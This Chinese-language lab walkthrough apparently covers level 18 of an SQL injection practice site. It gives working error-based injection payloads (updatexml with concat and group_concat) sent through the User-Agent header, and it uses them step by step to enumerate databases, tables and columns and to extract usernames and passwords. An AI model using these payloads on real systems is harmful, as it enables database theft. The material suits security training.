第十八关请求方式为 GET请求 , 注入点为 User-Agent , 注入方式为 错误注入
第一步,判断注入方式
先看源码
后台代码对 特殊字符进行了过滤 , 常规的注入方式行不通 , 只有通过代码审计来判断注入方式
登录成功后 , 有一个保存用户主机信息的SQL语句 , 并且没有对参数进行过滤 , 我们可以针对这个SQL进行错误注入
真实场景中 , 我们可以先注册一个账号进行登录 , 登录成功后通过User-Agent 进行错误注入 , 从而实现脱库
使用 Burp 工具进行代理拦截 , 修改 User-Agent
User-Agent: ' and updatexml(1,'~',3) and '
updatexml() 的第2个参数如果包含特殊符号就会报错 , 利用其报错信息可获取数据库信息
页面返回了我们插入的报错信息 , 固 存在错误注入
第二步,获取所有数据库
查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有数据库名
User-Agent: ' and updatexml(1,concat('~', substr( (select group_concat(schema_name) from information_schema.schemata),50,31) ),3) and '
concat() , 可将结果拼接指定字符 , 目的在于触发错误
group_concat() , 可将多行结果合并为一行 , 目的在于方便展示
sunstr() , 用来截取字符串 , updatexml()返回结果的字符串长度限制为32 , 需要多次截取来获取完整结果
注意: User-Agent 的参数中 不要包含空格
下一步 , 根据security数据库 获取其所有表
第三步,获取所有表
查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有表名
User-Agent: ' and updatexml(1,concat('~', substr( (select group_concat(table_name) from information_schema.tables where table_schema='security') ,1,31) ),3) and '
注意 : User-Agent 参数中 不要有空格
users表为用户表 , 下一步根据users表 获取其所有字段
第四步,获取所有字段
查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名
User-Agent: ' and updatexml(1,concat('~', substr( (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') ,1,31)) ,3) and '
注意 : User-Agent 参数中不要有空格
第五步,获取账号密码
User-Agent: ' and updatexml(1,concat('~', substr( (select group_concat(username,'~',password) from security.users) ,1,31)) ,3) and '